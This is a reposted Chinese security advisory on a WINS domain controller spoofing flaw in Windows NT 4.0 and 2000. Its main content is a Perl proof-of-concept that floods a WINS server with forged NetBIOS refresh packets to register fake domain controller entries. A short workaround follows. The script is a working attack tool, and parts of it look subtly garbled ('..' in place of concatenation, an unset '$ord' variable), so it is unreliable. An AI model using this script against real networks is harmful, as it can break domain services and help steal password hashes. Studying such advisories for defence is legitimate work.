Microsoft WINS之域控制器欺骗漏洞
创始人
2024-08-03 11:00:43
0

Microsoft WINS之域控制器欺骗漏洞如下所述:

受影响系统:

Microsoft Windows NT 4.0

Microsoft Windows NT 2000 Server

描述:

BUGTRAQ ID :2221

Windows Internet名字服务(WINS)随着微软Windows NT服务器分发。WINS负责在一个客户-服务器的环境中将网络计算机名解析为IP地址。

然而,WINS没有正确验证域控制器的注册。用户可能修改一个域控制器的内容,导致WINS服务将发往域控制器的请求重定向到另一个系统。这可能导致该域的网络功能失效。冒牌的域控制器也可以被设置来窃取用户名和口令的哈希值。

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

David Byrne (dbyrne@tiaa-cref.org)提供了一个测试程序wins2.pl:

###########################################################################

 

  1. use Socket;  
  2.  
  3. $WINSAddress = "XXX.XXX.XXX.XXX"; #IP Address or Host/NetBIOS name  
  4.  
  5. $DomainName = "AAADUMMY"; #Must be all caps  
  6.  
  7. $SequenceNumber = 0x8000;  
  8.  
  9. socket(SOCKET, PF_INET, SOCK_DGRAM, getprotobyname("udp")) or die "Socket not created $!\n";  
  10.  
  11. $destAddress = inet_aton($WINSAddress);  
  12.  
  13. $destPort = sockaddr_in(137, $destAddress);  
  14.  
  15. for ($i=1;$i<=25; $i++)  
  16.  
  17. {SendRefresh ($DomainName, 0x1C, "\x0a\x6a\x00" . chr ($i))}  
  18.  
  19. sub Sequence  
  20.  
  21. {  
  22.  
  23. my ($high, $low, $str);  
  24.  
  25. $high = $SequenceNumber >> 8;  
  26.  
  27. $low = $SequenceNumber % 256;  
  28.  
  29. $SequenceNumber += 2;  
  30.  
  31. $str = chr($high) . chr ($low);  
  32.  
  33. return $str;  
  34.  
  35. }  
  36.  

 

#p#

 

  1. sub SendRelease  
  2.  
  3. {  
  4.  
  5. my ($tempname, $data);  
  6.  
  7. $tempname = NetBIOSName ($_[0], $_[1]);  
  8.  
  9. $data = Sequence () . "\x30\x00\x00\x01\x00\x00\x00\x00\x00\x01\x20" .. $tempname . "\x00\x00\x20\x00\x01\xc0\x0c\x00\x20\x00\x01\x00\x00\x00\x00\x00\x06\x20\x00" . $_[2];  
  10.  
  11. send (SOCKET, $data, 0, $destPort) == length($data) or die "Failed to send packet: $!\n";  
  12.  
  13. }  
  14.  
  15. sub SendRefresh  
  16.  
  17. {  
  18.  
  19. my ($tempname, $data);  
  20.  
  21. $tempname = NetBIOSName ($_[0], $_[1]);  
  22.  
  23. $data = Sequence () . "\x29\x00\x00\x01\x00\x00\x00\x00\x00\x01\x20" .. $tempname . "\x00\x00\x20\x00\x01\xc0\x0c\x00\x20\x00\x01\x00\x04\x93\xe0\x00\x06\xe0\x00" . $_[2];  
  24.  
  25. send (SOCKET, $data, 0, $destPort) == length($data) or die "Failed to send packet: $!\n";  
  26.  
  27. }  
  28.  
  29. sub NetBIOSName  
  30.  
  31. {  
  32.  
  33. my ($c, $ord, $high, $low, $tempname);  
  34.  
  35. while ($_[0] =~ /(.)/g)  
  36.  
  37. {  
  38.  
  39. $c++;  
  40.  
  41. $ordord = ord ($1);  
  42.  
  43. $high = $ord >> 4;  
  44.  
  45. $low = $ord % 16;  
  46.  
  47. $tempname .= chr($high +65) . chr($low +65);  
  48.  
  49. }  
  50.  
  51. for (;$c<15;$c++)  
  52.  
  53. {$tempname .= "\x43\x41"}  
  54.  
  55. $high = $_[1] >> 4;  
  56.  
  57. $low = $_[1] % 16;  
  58.  
  59. $tempname .= chr($high +65) . chr($low +65);  
  60.  
  61. return $tempname;  
  62.  
  63. }  
  64.  

 

建议:

临时解决方法:

NSFOCUS建议您采用David Byrne提供的临时解决方法:对于敏感信息,采用静态记录。并在防火墙的DMZ区封锁NetBIOS服务。

Microsoft WINS域控制器欺骗漏洞的介绍希望能够对读者有所帮助。

【编辑推荐】

  1. 域控制器迁移的方法
  2. 域控制器降级基础知识
  3. 域控制器千万别忽视DNS设置
  4. 域控制器的安装及降级的方法
  5. windows2003域控制器升级和降级的图文教程

相关内容

热门资讯

如何允许远程连接到MySQL数... [[277004]]【51CTO.com快译】默认情况下,MySQL服务器仅侦听来自localhos...
如何利用交换机和端口设置来管理... 在网络管理中,总是有些人让管理员头疼。下面我们就将介绍一下一个网管员利用交换机以及端口设置等来进行D...
施耐德电气数据中心整体解决方案... 近日,全球能效管理专家施耐德电气正式启动大型体验活动“能效中国行——2012卡车巡展”,作为该活动的...
Windows恶意软件20年“... 在Windows的早期年代,病毒游走于系统之间,偶尔删除文件(但被删除的文件几乎都是可恢复的),并弹...
20个非常棒的扁平设计免费资源 Apple设备的平面图标PSD免费平板UI 平板UI套件24平图标Freen平板UI套件PSD径向平...
德国电信门户网站可实时显示全球... 德国电信周三推出一个门户网站,直观地实时提供其安装在全球各地的传感器网络检测到的网络攻击状况。该网站...
着眼MAC地址,解救无法享受D... 在安装了DHCP服务器的局域网环境中,每一台工作站在上网之前,都要先从DHCP服务器那里享受到地址动...
为啥国人偏爱 Mybatis,... 关于 SQL 和 ORM 的争论,永远都不会终止,我也一直在思考这个问题。昨天又跟群里的小伙伴进行...